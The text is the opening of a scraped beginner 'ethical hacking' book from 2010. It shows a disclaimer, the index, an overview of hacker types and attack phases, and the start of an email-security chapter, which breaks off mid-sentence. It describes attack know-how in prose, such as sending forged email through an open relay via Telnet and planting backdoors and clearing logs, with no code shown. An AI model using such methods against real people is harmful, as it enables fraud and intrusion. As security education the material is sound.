Basics Of Ethical Hacking – Manthan M. Desai For Beginners A Guide Learning

User Manual:

Open the PDF directly: View PDF PDF.
Page Count: 255

DownloadBasics Of Ethical Hacking – Manthan M. Desai For Beginners - A Guide Learning
Open PDF In BrowserView PDF
Hacking For Beginners – Manthan Desai

2010

Legal Disclaimer
Any proceedings and or activities related to the material contained within this book are exclusively your liability. The
misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in
question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against
any individuals by misusing the information in this book to break the law. This book contains material and resources that
can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study this
book. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using,
or in any other way utilizing these resources. These materials and resources are for educational and research purposes
only. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.

While using this book and reading various hacking tutorials, you agree to follow the below
mentioned terms and conditions:
1. All the information provided in this book is for educational purposes only. The book author is no way responsible for
any misuse of the information.
2. "Hacking for Beginners” is just a term that represents the name of the book and is not a book that provides any illegal
information. “Hacking for Beginners” is a book related to Computer Security and not a book that promotes
hacking/cracking/software piracy.
3. This book is totally meant for providing information on "Computer Security”, "Computer Programming” and other
related topics and is no way related towards the terms "CRACKING” or "HACKING” (Unethical).
4. Few articles (tutorials) in this book may contain the information related to "Hacking Passwords” or "Hacking Email
Accounts” (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways of
retrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try out
these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that
you do not own is illegal.
5. The virus creation section in this book provides demonstration on coding simple viruses using high level programming
languages. These viruses are simple ones and cause no serious damage to the computer. However we strongly insist that
these information shall only be used to expand programming knowledge and not for causing malicious attacks.
6. All the information in this book is meant for developing Hacker Defense attitude among the readers and help
preventing the hack attacks. “Hacking for Beginners” insists that this information shall not be used for causing any kind of
damage directly or indirectly. However you may try these codes on your own computer at your own risk.
7. The word "Hack” or "Hacking” that is used in this book shall be regarded as "Ethical Hack” or "Ethical Hacking”
respectively.
8. We believe only in White Hat Hacking. On the other hand we condemn Black Hat Hacking.
9. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are no
way related to the term hacking.
10. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are not
responsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.

www.hackingtech.co.tv

Page 2

Hacking For Beginners – Manthan Desai

2010

About the Author

Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer.
An ethical hacker and a freelance web designer is famous for his website Hacking Tech (www.hackingtech.co.tv) which is
ranked 2nd in the ucoz.com web hosting servers for security field.
Manthan is indeed a writer on the internet through his website. Over 10,000 visits have been incurred on his website and
on the increase day by day.
Manthan is currently perusing his bachelor’s degree in computer science engineering and is working as and information
security consultant and web designer.
He is providing the services like Ethical hacking training and workshops, website Development and maintenance, security
consultant, graphic designing for website.
The one and the only quote that Manthan uses while his ethical hacking is “Hack it and Have it.”

To Know More about the Author Please Visit: www.manthandesai.co.cc
www.hackingtech.co.tv

Page 3

Hacking For Beginners – Manthan Desai

2010

Preface
Computer hacking is the practice of altering computer hardware and software to carry out a goal outside of the creator‘s
original intention. People who slot in computer hacking actions and activities are often entitled as hackers.
The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals and
hackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligent
people, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to secure
credentials and secret information on the Internet.
Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using your
computer to send attacks against others. Now that thing have changed, it's best to be aware of how to defend your
computer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizing
computers around the world. This hacking is not only common, but is being executed without a flaw that the attackers
compromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book you
will uncover the finest ways to defend your computer systems from the hackers
This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking,
can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the best
ethical hacking articles in this volume, covering every characteristic linked to computer security.
After Reading this book you will come to recognize that how Hacking is affecting our every day routine work and can be
very hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will be
capable of understanding that how a hacker hacks and how you can defend yourself from these threats.
So Take care of yourself and Defend Yourself By hacking the hacker and be safe after that. So If you know how to hack a
hacker then you can know how to prevent the hacker.

“Hack It and Have It...”

- Manthan Desai (author)

www.hackingtech.co.tv

Page 4

Hacking For Beginners – Manthan Desai

2010

Acknowledgements
Book or volume "Hacking for Beginners” is tremendously complex to write, particularly without support of the Almighty
GOD.
I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I am
more than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such great
opportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stages
of this book and helped me to complete this book and mentioned me new suggestion for the book.
To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative and constructive
role to build your life more secure and alert than ever before.
Again Nothing but “Hack

It and Have It...”

- Manthan Desai

www.hackingtech.co.tv

Page 5

Hacking For Beginners – Manthan Desai

2010

Index
SECTION 1:- The Theatrical concepts and Explanation.
1. Concept of Ethical Hacking……………………………………………………………………………………………………………..……. 12
What Is Hacking …………………………………………………………………………….…………………………………………………………….….. 12
Types of hacker ………………………………………………………………………………………………...………………………………………….…. 13
Why hackers hack? ……………………………………………………………………………………………………………………………………….…. 15
Preventions from hacker ……………………………………………………………………………………………………………………..………..… 15
Steps Performed by hackers ………………………………………………………………………………………………………………………....….16
Working of an Ethical hacker ………………………………………………………………………………………………………………………….…17

2. Email Hacking ……………………………………………………………………………………………………………………..….…..……… 19
How Email Works? ……………………………………………………………………………………………………………………………………….…. 19
Email service protocols ……………………………………………………………………………………………………………………………….…...20
Email spoofing …………………………………………………………………………………………………………………………………………….….. 21
PHP Mail sending script …………………………………………………………………………………………………………………………….……. 22
Email Spamming …………………………………………………………………………………………………………………………………………..... 23
Phishing …………………………………………………………………………………………………………………………………………………….……. 23
Prevention from phishing ………………………………………………………………………………………………………………………….……. 24
Email Tracing …………………………………………………………………………………………………………………………………………….……. 24
Keystroke loggers ……………………………………………………………………………………………………………………………………….….. 26
Securing Your Email account ………………………………………………………………………………………………………………………….. 27

3. Windows Hacking and Security.…...……………………………………………………………………………………….…………… 28
Security Architecture of Windows………………………………………………………………………………………………………………….. 28
Windows user account Architecture………………………………………………………………………………………………………………. 29
Cracking Windows User Account password …………………………………………………………………………………………………... 30
Windows User Account Attack …………………………………………………………………………………………………………………....… 33
Counter Measures of Windows Attack ………………………………………………………………………………………………………….. 33
To hide a file behind a image …………………………………………………………………………………………………….………………..… 34
Make a private folder…………………………………………………………………………………………………………………………………….. 35
To run net user in Vista and Windows 7 …………………………………………………………………………………………………..…... 37
www.hackingtech.co.tv

Page 6

Hacking For Beginners – Manthan Desai

2010

Brute Force Attack ……………………………………………………………………………………………………………………………………….… 38
Rainbow table attack …………………………………………………………………………………………………………….…………………….…. 39
Counter Measures for Windows Attack ………………………………………………………………………………….………………….….. 40

4. Trojans in Brief ………………………………………………………………………………………………….………………….………..…. 42
Knowing the Trojan ………………………………………………………………………………….………………………………………………...…. 42
Different Types of Trojans ……………………………………………………………………………………………………………………….…….. 43
Components of Trojans …………………………………………………………………………………………………………………..…………….. 45
Mode of Transmission for Trojans …………………………………………………………………………………………………………….…… 47
Detection and Removal of Trojans ………………………………………………………………………………………………………………... 48
Countermeasures for Trojan attacks ………………………………………………………………………………………………………….…. 48
5. Attacks on web servers and Security ……….………………………………………………………………………….………….…. 49
Introduction to Web Servers..………………………………………………………………….………………………………………………...…. 49
The Basic Process: How Web servers work …………………………………………………………………………………………….………. 49
Attacks on Web servers …………………………………………………………………………………………………………………………….…... 50
Web Ripping …………………………………………………………………………………………………………………………………………….….… 50
Google Hacking …………………………………………………………………………………………………………………………………………..…. 51
Protecting Your Files from Google ……………………………………………………………………………………………………………….... 53
Cross Site Scripting (XSS) …………………………………………………………………………………………………………………….……….… 54
Directory Traversal Attack …………………………………………………………………………………………………………….…..………..… 55
Database Servers ………………………………………………………………………………………………………………………………….……….. 57
Login Process on the websites ………………………………………………………………………………………………….……….………….. 58
SQL injection …………………………………………………………………………………………………………………………………………….…… 58
Input validation on the SQL Injection ……………………………………………………………………………….……………………….…… 59
PHP Injection: Placing PHP backdoors …………………………………………………………………………………………………….…….. 60
Directory Access controls ……………………………………………………………………………………………………………………………... 62
How Attackers Hide Them While Attacking …………………………………………………………………………………………….….…. 62
Types of Proxy Servers ………………………………………………………………………………………………………………………………..… 63

6. Wireless hacking …………………………………..………………………………………………………………………………..…….….. 65
Wireless Standards …….……………………………………………………………………………………………………………………………….… 65
Services provided by Wireless Networks ……………………………………………………………………………………………………….. 67
www.hackingtech.co.tv

Page 7

Hacking For Beginners – Manthan Desai

2010

MAC address filtering …..…………………………………………………………………………………………………………………………….…. 68
WEP key encryption …………………………………………………………………………………………………………………………………….… 69
Wireless attacks ……………………………………………………………………………………………………………………………………….……. 69
MAC spoofing ……………………………………………………………………………………………………………………………………….……….. 70
WEP cracking ……………………………………………………………………………………………………………………………………………..….. 70
Countermeasures for Wireless attacks …………………………………………………………………………………………………….….…. 71
7. Mobile Hacking – SMS & Call forging…………………………………………………………………………….…………..…..…….72
What Does It Involve ……………………………………………………………………………………………………………………………..…..….. 72
Call Spoofing / Forging ……………………………………………………………………………………………………………………….……..…… 74
SMS Forging …………………………………………………………………………………………………………………………………………………… 75
Bluesnarfing ………………………………………………………………………………………………………………………………………………..... 76

8. Information gathering and Scanning ……………………………………………………………………………….………………….78
Why Information gathering? ………………………………………………………………………………………………………………………….. 78
Reverse IP mapping ………………………………………………………………………………………………………………………………….……. 78
Information Gathering Using Search Engine …………………………………………………………………………………………….……. 79
Detecting ‘live’ systems on target network …………………………………………………………………………………………….……… 81
War diallers ……………………………………………………………………………………………………………………………………………….….… 81

9. Sniffers ……………………………………………….………………………………………………………………………….….………..….… 82
What are Sniffers ? ………………………………………………………………………………………………………………….………………….…. 82
Defeating Sniffers………………………………………………………………………………………………………………….……………………..…. 83
Ant Sniff ……………………………………………………………………………………………………………………………….……………………..…. 83

10. Linux Hacking..…………………………………….…………………………………………………………….………….………….…...… 85
Why Linux?..............…………………………………………………………………………………………………………………………………...….. 85
Scanning Networks …………………………………………………………………………………………………………………………………..……. 86
Hacking tool Nmap ……………………………………………………………………………………………………………………………………..…. 87
Password cracking in Linux ………………………………………………………………………………………………………………………..….. 87
SARA (Security Auditor’s Research Assistant) ……………………………………………………………………………………………..…. 88
Linux Root kits …………………………………………………………………………………………………………………………………………..…… 88
Linux Tools: Security Testing tools …………………………………………………………………………………..………………………….…. 90
Linux Security Countermeasures ……………………………………………………………………..………………………………………..…... 90
www.hackingtech.co.tv

Page 8

Hacking For Beginners – Manthan Desai

2010

SECTION 2:- The Tutorial based hacks and explaination as online.

1. How to Chat with your friends using MS-DOS ……………………………………………………….………………..…………………... 93
2. How to change your IP address ………………………………………………………………………………………………………………….… 94
3. How To fix corrupted XP files …………….………………………………………………………………………………………………………… 95
4. Delete an “Undeletable” File / Folder ……………………………………………………………………………………………………….... 96
5. What is Steganography? ………………………………………………………………………………………………………………………..…… 100
6. What Is MD5 Hash & How to Use It? ………………………………………………………………………………………………………..... 101
7. What is Phishing and Its Demo ……………………………………………………………………………………………………………….….. 103
8. How to view hidden passwords behind asterisk (********) ……………………………………………………………..……….. 106
9. Hacking Orkut Account Using Cookie Stealing ……………………………………………………………………………….…………... 108
10. Tab Napping A New Phishing Attack …………………………………………………………………………………………….……………. 110
11. How to Check The email is original or Not ……………………………………………………………………………………….………… 113
12. Hack facebook account using facebook hacker …………………………………………………………………………….….………... 116
13. What Are Key loggers ?.................................................................................................................................. 118
14. How to remove New Folder virus ………………………………………………………………………………………..……….……….... 120
15. Mobile hack to call your friends From their own Number …………………………………………………….….…………….… 121
16. Get Orkut Scraps on Mobile for free using Google SMS Channel!................................................................. 124
17. Internet connection cut-off in LAN/Wi-Fi ……………………………………………………………………….………………….…….. 127
18. WEP cracking using Airo Wizard……………………………………………………………………………………………………….………. 129
19. 12 Security tips for online shopping ……………………………………………………………………………………………….……..... 133
20. How to check if Your Gmail account is hacked or not ………………………………………………………………………….…… 134
21. Beware of common Internet Scams and Frauds ………………………………………………………………………….…………… 137
22. 12 Tips to maintain a virus free PC………………………………………………………………………………………………………….… 138
23. 10 Tips for Total Online Security………………………………………………………………………………………………………………. 140
24. What to do when your Orkut account is hacked…………………………………………………………………………………..….. 142
25. Making a computer virus …………………………………………………………………………………………………………………….….. 143
26. SQL injection for website hacking…………………………………………………………………………………………………………….. 147
27. How a ‘Denial of service’ attack works …………………………………………………………………………………………………….. 151
28. XSS vulnerability found on You Tube explained ………………………………………….………………………………………….... 154
www.hackingtech.co.tv

Page 9

Hacking For Beginners – Manthan Desai

2010

29. Hacking Deep Freeze …………………………………………………………………………………………………………………………………. 157
30. How to watch security cameras on internet ………………………………………………………………………………………..……. 159
31. List of PC file Extensions…………………………………………………………………………………………………………………………….. 161
32. Nice List of Windows Shortcuts …………………………………………………………………………………………………………………. 185
33. How to find serial numbers on Google ………………………………………………………………………………………………………. 191
34. How to create a CON folder in Windows …………………………………………………………………………………………………… 192
35. 10 Reasons why PC’s crash you must know………………………………………………………………………………………………… 195
36. How to use Kaspersky for Lifetime without Patch ……………………………………………………………………………………… 200
37. Disguise as Google Bot to view Hidden Content of a Website …………………………………………………………………… 201
38. How to Download Facebook videos ………………………………………………………………………………………………………….. 203
39. Hack a website by Remote File Inclusion ………………………………………………………………………………………………….. 205
40. What is CAPTCHA and how it works?…………………………………………………………………………………………………….….. 207
41. Hack Password of any Operating System …………………………………………………………………………………….…………... 209
42. Windows PowerShell Security in Brief………………………………………………………………………………………………………. 211
43. What is Secure Sockets Layers (SSL)? ……………………………………………………………………………………………………….. 216
44. Make a Private folder With your password ………………………………………………………………………………………………. 220
45. Making a Trojan using Beast 2.06……………………………………………………………………………………………………………… 222
46. Hacking yahoo messenger for multi login ………………………………………………………………………………………………… 228
47. 5 Tips to secure your Wi-Fi a connection …………………………………………………………………………………………………. 229
48. Upgrade Windows 7 to any higher version ……………………………………………………………………………………………… 230
49. World’s top 10 internet hackers of all time ……………………………………………………………………………………….…….. 231
50. The complete History of hacking …………………………………………………………………………………………………………….. 238

www.hackingtech.co.tv

Page 10

Hacking For Beginners – Manthan Desai

2010

The Theatrical concepts and Explanation.

www.hackingtech.co.tv

Page 11

Hacking For Beginners – Manthan Desai

2010

1. Concept of Ethical Hacking
Hacking
 The Art of exploring various security breaches is termed as Hacking.
 Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We
have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.
 In a world of Black and White, it’s easy to describe the typical Hacker. A general outline of a typical Hacker is an
Antisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.
 Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline.
The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods and
Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimplefaced Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are
often very Sharp Minded.

Hacker
 Hacker is a word that has two meanings:
 Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers enjoy Exploring
and Learning how Computer systems operate. They love discovering new ways to work electronically.
 Recently, Hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gain.
Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with malicious
intentions.
 They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information,
often making other people's life miserable.
 Hacking has a lot of meanings depending upon the person’s knowledge and his work intentions. Hacking is an Art
as well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills and
Power.
 Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activities
to be criminals. We agree that there are people out there who use hacking techniques to break the law, but
hacking is not really about that. In fact, hacking is more about following the law and performing the steps within
the limits.

Hacker vs. Cracker
What Is the Difference Between a Hacker and a Cracker?
 Many articles have been written about the difference between Hackers and crackers, which attempt to correct
public misconceptions about hacking. For many years, media has applied the word Hacker when it really means
Cracker. So the public now believe that a Hacker is someone who breaks into computer systems and steal
confidential data. This is very untrue and is an insult to some of our most talented Hackers.

There are various points to determine the difference between Hackers and crackers
 Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often,
Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programming
languages. They may know various security holes within systems and the reasons for such holes. Hackers
www.hackingtech.co.tv

Page 12

Hacking For Beginners – Manthan Desai

2010

constantly seek further knowledge, share what they have discovered, and they never have intentions about
damaging or stealing data.
 Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gain
unauthorized access, destroy important data, stop services provided by the server, or basically cause problems for
their targets. Crackers can easily be identified because their actions are malicious.
 Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves.
Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, or
religion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet,
whereas others write software that other Hackers depend upon.

Types of Hacker
 Let’s see the categories of Hackers on the basis on their knowledge.

Coders
 The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the
market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers
can use those exploits to develop fully patched and secure systems.
 Coders are the programmers who have the ability to find the unique vulnerability in existing software and to
create working exploit codes. These are the individuals with a deep understanding of the OSI Layer Model and
TCP/IP Stacks.

Admins
 Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop their
own techniques, however they uses the tricks which are already prepared by the coders. They are generally
System Administration, or Computer Network Controller. Most of the Hackers and security person in this digital
world come under this category.
 Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities.
A majority of Security Consultants fall in this group and work as a part of Security Team.

Script Kiddies
 Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computer
who take advantage of the Hacker tools and documentation available for free on the Internet but don’t have any
knowledge of what’s going on behind the scenes. They know just enough to cause you headaches but typically are
very sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenage
Hackers that you hear about in the news media, they need minimum skills to carry out their attacks.
 Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and
Networks. They get the least respect but are most annoying and dangerous and can cause big problems without
actually knowing what they are doing.

 Types of Hackers on the basis of activities performed by them.
www.hackingtech.co.tv

Page 13

Hacking For Beginners – Manthan Desai

2010

White Hat Hacker
 A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals with
knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and
implement counter measures in the resources.
 They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting IT
Systems.

Black Hat Hacker
 A Black Hat Hacker is computer guy who performs Unethical Hacking. These are the Criminal Hackers or Crackers
who use their skills and knowledge for illegal or malicious purposes. They break into or otherwise violate the
system integrity of remote machines, with malicious intent.
 These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Data
stealing.

Grey Hat Hacker
 A Grey Hat Hacker is a Computer guy who sometimes acts legally, sometimes in good will, and sometimes not.
They usually do not hack for personal gain or have malicious intentions, but may or may not occasionally commit
crimes during the course of their technological exploits.
 They are hybrid between White Hat and Black Hat Hackers.

Ethical Hacking
 Ethical Hacking is testing the resources for a good cause and for the betterment of technology. Technically Ethical
Hacking means penetration testing which is focused on Securing and Protecting IT Systems.

Hactivism
 Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. A
Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were
defaced with the Jihad messages in the name of Terrorism.

Cyber Terrorist
 There are Hackers who are called Cyber Terrorists, who attack government computers or public utility
infrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classified
government information. While in a conflict with enemy countries some government start Cyber war via Internet.

www.hackingtech.co.tv

Page 14

Hacking For Beginners – Manthan Desai

2010

Why Hackers Hack?
 The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they
just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers
are the guys who get kicked out of corporate and government IT and security organizations. They try to bring
down the status of the organization by attacking or stealing information.
 The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction.
Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives of
malicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, and
corporate work pressure.
 Many Hackers say they do not hack to harm or profit through their bad activities, which helps them justify their
work. They often do not look for money full of pocket. Just proving a point is often a good enough reward for
them.

Prevention from Hackers
 What can be done to prevent Hackers from finding new holes in software and exploiting them?
 Information security research teams exist—to try to find these holes and notify vendors before they are
exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers
breaking into those systems. This competition provides us with better and stronger security, as well as more
complex and sophisticated attack techniques.
 Defending Hackers create Detection Systems to track attacking Hackers, while the attacking Hackers develop
bypassing techniques, which are eventually resulted in bigger and better detecting and tracking systems. The net
result of this interaction is positive, as it produces smarter people, improved security, more stable software,
inventive problem-solving techniques, and even a new economy.
 Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hacker
possesses the skills, mindset, and tools of a Hacker but is also trustworthy. Ethical Hackers perform the hacks as
security tests computer systems.
 Ethical Hacking — also known as Penetration Testing or White-Hat Hacking —involves the same Tools, Tricks and
Techniques that Hackers use, but with one major difference:
 Ethical hacking is Legal.
 Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discover
vulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overall
information Risk Management program that allows for ongoing security improvements. Ethical hacking can also
ensure that vendors’ claims about the security of their products are legitimate.
 As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them.
You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should know
what to look for and how to use that information to thwart Hackers’ efforts.
 You don’t have to protect your systems from everything. You can’t.

The only protection against everything is to unplug your computer systems and lock them away so no
one can touch them—not even you.
www.hackingtech.co.tv

Page 15

Hacking For Beginners – Manthan Desai

2010

 That’s not the best approach to information security. What’s important is to protect your systems from known
Vulnerabilities and common Hacker attacks.
 It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks —
especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks which
are not known to the world. However in Ethical Hacking, the more combinations you try — the more you test
whole systems instead of individual units — the better your chances of discovering vulnerabilities.

Steps Performed By hackers
1) Reconnaissance
2) Scanning
3) Gaining Access
4) Maintaining Access
5) Clearing Tracks

• Performing Reconnaissance
• Scanning and Enumeration
• Gaining access
• Maintaining access and Placing Backdoors
• Covering tracks or Clearing Logs
Phase I: Reconnaissance
 Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate, gather, identify,
and record information about the target. The Hacker seeks to find out as much information as possible about the
target.

Phase II: Scanning and Enumeration
 Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the information
discovered during reconnaissance and using it to examine the network. Scanning involves steps such as intelligent
system port scanning which is used to determine open ports and vulnerable services. In this stage the attacker
can use different automated tools to discover system vulnerabilities.

Phase III: Gaining Access
 This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance and
scanning phase are now exploited to gain access. The method of connection the Hacker uses for an exploit can be
a local area network, local access to a PC, the Internet, or offline. Gaining access is known in the Hacker world as
owning the system. During a real security breach it would be this stage where the Hacker can utilize simple
techniques to cause irreparable damage to the target system.
www.hackingtech.co.tv

Page 16

Hacking For Beginners – Manthan Desai

2010

Phase IV: Maintaining Access and Placing Backdoors
 Once a Hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes,
Hackers harden the system from other Hackers or security personnel by securing their exclusive access with
Backdoors, Root kits, and Trojans.
 The attacker can use automated scripts and automated tools for hiding attack evidence and also to create
backdoors for further attack.

Phase V: Clearing Tracks
 In this phase, once Hackers have been able to gain and maintain access, they cover their tracks to avoid detection
by security personnel, to continue to use the owned system, to remove evidence of hacking, or to avoid legal
action. At present, many successful security breaches are made but never detected. This includes cases where
firewalls and vigilant log checking were in place.

Working of an ethical hacker
Obeying the Ethical Hacking Commandments:
 Every Ethical Hacker must follow few basic principles. If he do not follow, bad things can happen. Most of the time
these principles get ignored or forgotten when planning or executing ethical hacking tests. The results are even
very dangerous.

Working ethically:
 The word ethical can be defined as working with high professional morals and principles. Whether you’re
performing ethical hacking tests against your own systems or for someone who has hired you, everything you do
as an ethical Hacker must be approved and must support the company’s goals. No hidden agendas are allowed!
Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That’s what the
bad guys do.

Respecting privacy:
 Treat the information you gather with complete respect. All information you obtain during your testing — from
Web application log files to clear-text passwords — must be kept private.

Not crashing your systems:
 One of the biggest mistakes is when people try to hack their own systems; they come up with crashing their
systems. The main reason for this is poor planning. These testers have not read the documentation or
misunderstand the usage and power of the security tools and techniques.
 You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on a
system causes many system lockups. Many security assessment tools can control how many tests are performed
on a system at the same time. These tools are especially handy if you need to run the tests on production systems
during regular business hours.

Executing the plan:
 In Ethical hacking, Time and patience are important. Be careful when you’re performing your ethical hacking tests.
A Hacker in your network or an employee looking over your shoulder may watch what’s going on. This person
www.hackingtech.co.tv

Page 17

Hacking For Beginners – Manthan Desai

2010

could use this information against you. It’s not practical to make sure that no Hackers are on your systems before
you start. Just make sure you keep everything as quiet and private as possible.
 This is especially critical when transmitting and storing your test results. You’re now on a reconnaissance mission.
Find as much information as possible about your organization and systems, which is what malicious Hackers do.
Start with a broad view of mind and narrow your focus. Search the Internet for your organization’s name, your
computer and network system names, and your IP addresses. Google is a great place to start for this.
 Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. For
instance, if you don’t have a internal Web server running, you may not have to worry too much about. However,
don’t forget about insider threats from malicious employees or your friends or colleagues!

“Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)”.

www.hackingtech.co.tv

Page 18

Hacking For Beginners – Manthan Desai

2010

2. Email hacking
How Email Works?
 Email sending and receiving is controlled by the Email servers. All Email service providers configure Email Server
before anyone can Sign into his or her account and start communicating digitally.
 Once the servers are ready to go, users from across the world register in to these Email servers and setup an
Email account. When they have a fully working Email account, they sign into their accounts and start connecting
to other users using the Email services.

Email Travelling Path
 Let’s say we have two Email providers, one is Server1.com and other is Server2.in, ABC is a registered user in
Server1.com and XYZ is a registered user in Server2.in.
 ABC signs in to his Email account in Server1.com, he then writes a mail to the xyz@server2.in and click on Send
and gets the message that the Email is sent successfully.
 But what happens behind the curtains, the Email from the computer of abc@server1.com is forwarded to the
Email server of Server1.com. Server1 then looks for server2.in on the internet and forwards the Email of the
server2.in for the account of XYZ. Server2.in receives the Email from server1.com and puts it in the account of
XYZ.
 XYZ then sits on computer and signs in to her Email account. Now she has the message in her Email inbox.

www.hackingtech.co.tv

Page 19

Hacking For Beginners – Manthan Desai

2010

Email Service Protocols
SMTP
 SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such as
Outlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port
25.

POP3
 POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. The
POP3 protocol is simple and does not offer many features except for download. Its design assumes that the Email
client downloads all available Email from the server, deletes them from the server and then disconnects. POP3
normally uses port 110.

IMAP
 IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is a
protocol that an Email client can use to download Email from an Email server. However, IMAP includes many
more features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAP
requires more disk space on the server and more CPU resources than POP3, as all Emails are stored on the server.
IMAP normally uses port 143.

Configuring an Email Server
 Email server software like Post cast Server, Hmailserver, Surge mail, etc can be used to convert your Desktop PC
into an Email sending server.
 HMailServer is an Email server for Microsoft Windows. It allows you to handle all your Email yourself without
having to rely on an Internet service provider (ISP) to manage it. Compared to letting your ISP host your Email,
HMailServer adds flexibility and security and gives you the full control over spam protection.

Email Security
 Now let’s check how secure this fast mean of communication is. There are so many attacks which are applied on
Emails. There are people who are the masters of these Email attacks and they always look for the innocent people
who are not aware of these Email tricks and ready to get caught their trap.
 You have to make sure that you are not an easy target for those people. You have to secure your Email identity
and profile, make yourself a tough target.
 If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in
that Email account, because you do not know if someone gets your Email id password and uses your Email to send
a threatening Email to the Ministry or to the News Channels.
 Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in the
attack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would have
come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn
Emails where the owner of the Email does not anything about the sent Email.

www.hackingtech.co.tv

Page 20

Hacking For Beginners – Manthan Desai

2010

Email Spoofing
 Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or
somewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipients
to open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.
 There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internet
is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel.

Methods to send fake Emails
Open Relay Server
Web Scripts

Fake Emails: Open Relay Server
 An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows
anyone on the Internet to send Email through it, not just mail destined ‘To’ or ‘Originating’ from known users.
 An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email.
 Open Relay Email Server requires no password to send the Email.

Fake Emails: via web script
 Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send
